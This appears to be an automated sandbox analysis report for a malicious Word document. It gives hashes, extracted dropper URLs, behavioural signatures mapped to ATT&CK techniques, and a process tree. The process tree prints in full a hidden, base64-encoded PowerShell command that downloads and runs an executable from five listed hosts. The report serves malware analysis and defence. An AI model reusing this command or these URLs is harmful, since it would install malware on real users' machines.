4da5d6faa650f5c7553a4152c9461b40321414042e9410a3b5aa76befda4a973

General

Target

4da5d6faa650f5c7553a4152c9461b40321414042e9410a3b5aa76befda4a973.doc
Size

207KB
MD5

7dda0f177751d4ebe292ccad3420a4c4
SHA1

c2d12949c77486ff42cdeced7b4423cc7dec1cb9
SHA256

4da5d6faa650f5c7553a4152c9461b40321414042e9410a3b5aa76befda4a973
SHA512

20493fdade30212ff8bd52196ca9268c3edaae82200e44a82c383f544ce29598011934c49718b063ef1cd2ff15bd7c6347a5d9b363c37d68a6f77615283cfccc
SSDEEP

6144:+r2k4DtGiL3HJk9RD7bK5nEZAe9ohV7WU:+riQitk77bMEZH94V7WU

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://pcms.bridgeimprex.com/zAqMf/

exe.dropper

http://test.a1enterprise.com/jxl/xo/

exe.dropper

http://app.bridgeimpex.org/img/H4sNbg51/

exe.dropper

http://a1enterprises.com/wp-content/BpOszbMoI/

exe.dropper

http://isabella.makeyourselfelaborate.com/wp-admin/u19xl/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1308	2012	Powershell.exe	83

Blocklisted process makes network request 2 IoCs

flow	pid	Process
31	1308	Powershell.exe
32	1308	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1308	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2452	WINWORD.EXE
2452	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1308	Powershell.exe
1308	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1308	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2452	WINWORD.EXE
2452	WINWORD.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE
2452	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2452 wrote to memory of 2208	2452	WINWORD.EXE	86
PID 2452 wrote to memory of 2208	2452	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4da5d6faa650f5c7553a4152c9461b40321414042e9410a3b5aa76befda4a973.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2452
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2208

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABZAHoAeAB5AHkAcQB4AGoAPQAnAFMAagBmAHcAbQB5AGUAbQAnADsAJABFAGQAbgB3AG8AYgByAHUAZQBuAHkAbwAgAD0AIAAnADkAMwAyACcAOwAkAFEAYwBtAG4AbwBjAHYAcgBjAGUAZQBlAD0AJwBKAHgAYgB4AHEAdAB2AGcAbABkAGYAdwB2ACcAOwAkAFcAcQBjAHQAawBiAHcAagB2AHoAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBkAG4AdwBvAGIAcgB1AGUAbgB5AG8AKwAnAC4AZQB4AGUAJwA7ACQASgBsAHEAcABqAGgAdwBsAGwAPQAnAEMAcgB0AHgAbgBlAGcAeQBjAGIAZAAnADsAJABLAHAAegByAGcAdABvAGIAcwBwAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAEUAdAAuAHcAZQBCAEMAbABJAEUATgB0ADsAJABPAGsAbgBmAG0AZQBsAHQAPQAnAGgAdAB0AHAAOgAvAC8AcABjAG0AcwAuAGIAcgBpAGQAZwBlAGkAbQBwAHIAZQB4AC4AYwBvAG0ALwB6AEEAcQBNAGYALwAqAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAuAGEAMQBlAG4AdABlAHIAcAByAGkAcwBlAC4AYwBvAG0ALwBqAHgAbAAvAHgAbwAvACoAaAB0AHQAcAA6AC8ALwBhAHAAcAAuAGIAcgBpAGQAZwBlAGkAbQBwAGUAeAAuAG8AcgBnAC8AaQBtAGcALwBIADQAcwBOAGIAZwA1ADEALwAqAGgAdAB0AHAAOgAvAC8AYQAxAGUAbgB0AGUAcgBwAHIAaQBzAGUAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAEIAcABPAHMAegBiAE0AbwBJAC8AKgBoAHQAdABwADoALwAvAGkAcwBhAGIAZQBsAGwAYQAuAG0AYQBrAGUAeQBvAHUAcgBzAGUAbABmAGUAbABhAGIAbwByAGEAdABlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB1ADEAOQB4AGwALwAnAC4AIgBTAHAAYABMAGkAdAAiACgAJwAqACcAKQA7ACQAVwB4AGoAcgBpAGgAcwBnAG4APQAnAFMAbwBwAG8AcQBtAGwAcABvAGMAcgBlACcAOwBmAG8AcgBlAGEAYwBoACgAJABWAHUAZQBpAGYAaQB5AHUAcQBpAGMAcQAgAGkAbgAgACQATwBrAG4AZgBtAGUAbAB0ACkAewB0AHIAeQB7ACQASwBwAHoAcgBnAHQAbwBiAHMAcAAuACIARABvAHcAYABOAGAATABvAEEAZABGAEkATABFACIAKAAkAFYAdQBlAGkAZgBpAHkAdQBxAGkAYwBxACwAIAAkAFcAcQBjAHQAawBiAHcAagB2AHoAdgApADsAJABQAGIAcAB4AGYAZQBmAHcAaQBzAGwAPQAnAEQAZQBxAGgAcABnAHoAZQB6ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVwBxAGMAdABrAGIAdwBqAHYAegB2ACkALgAiAEwARQBuAGAARwB0AEgAIgAgAC0AZwBlACAAMwAxADUAMQA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgB0ACIAKAAkAFcAcQBjAHQAawBiAHcAagB2AHoAdgApADsAJABQAHAAbgBhAGYAZgB0AHcAZAA9ACcARABqAGgAZwBuAHcAZgB3AGMAJwA7AGIAcgBlAGEAawA7ACQASQBsAHkAdgBjAHgAbgBqAHEAPQAnAFAAcABwAHMAdwBkAG4AcgBiAGMAawB5AG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgBsAGgAdQBzAHAAcABpAGgAPQAnAEoAYwB2AGoAdABjAHQAZgAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\B2A2F790.wmf

Filesize
444B

MD5
7b402772d9875e8be0396e616d3ed9a7

SHA1
4d375ff81058d369347429f6d482032594d47d09

SHA256
90ed781e040296be0c0eecfaa826734a4b1374dc9c97a8d6c0c71731d32ad4f2

SHA512
e5c5e5dc197c67162362977cac35bdbb2fae16719d61c3bed9813b4fc7d577a3df8fddf5eb2e53668fee336680c511c37ef9a265e831b6e224908f7b4e9c6c3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nxmyeoqp.m1t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/1308-62-0x0000017E58660000-0x0000017E58682000-memory.dmp

Filesize
136KB

Download
memory/2452-7-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-15-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-1-0x00007FFE41B6D000-0x00007FFE41B6E000-memory.dmp

Filesize
4KB

Download
memory/2452-8-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-9-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-12-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-11-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-10-0x00007FFDFF9B0000-0x00007FFDFF9C0000-memory.dmp

Filesize
64KB

Download
memory/2452-17-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-18-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-19-0x00007FFDFF9B0000-0x00007FFDFF9C0000-memory.dmp

Filesize
64KB

Download
memory/2452-20-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-16-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-6-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-14-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-13-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-4-0x00007FFE01B50000-0x00007FFE01B60000-memory.dmp

Filesize
64KB

Download
memory/2452-5-0x00007FFE01B50000-0x00007FFE01B60000-memory.dmp

Filesize
64KB

Download
memory/2452-3-0x00007FFE01B50000-0x00007FFE01B60000-memory.dmp

Filesize
64KB

Download
memory/2452-69-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-72-0x00007FFE41B6D000-0x00007FFE41B6E000-memory.dmp

Filesize
4KB

Download
memory/2452-73-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-2-0x00007FFE01B50000-0x00007FFE01B60000-memory.dmp

Filesize
64KB

Download
memory/2452-83-0x00007FFE41AD0000-0x00007FFE41CC5000-memory.dmp

Filesize
2.0MB

Download
memory/2452-0-0x00007FFE01B50000-0x00007FFE01B60000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads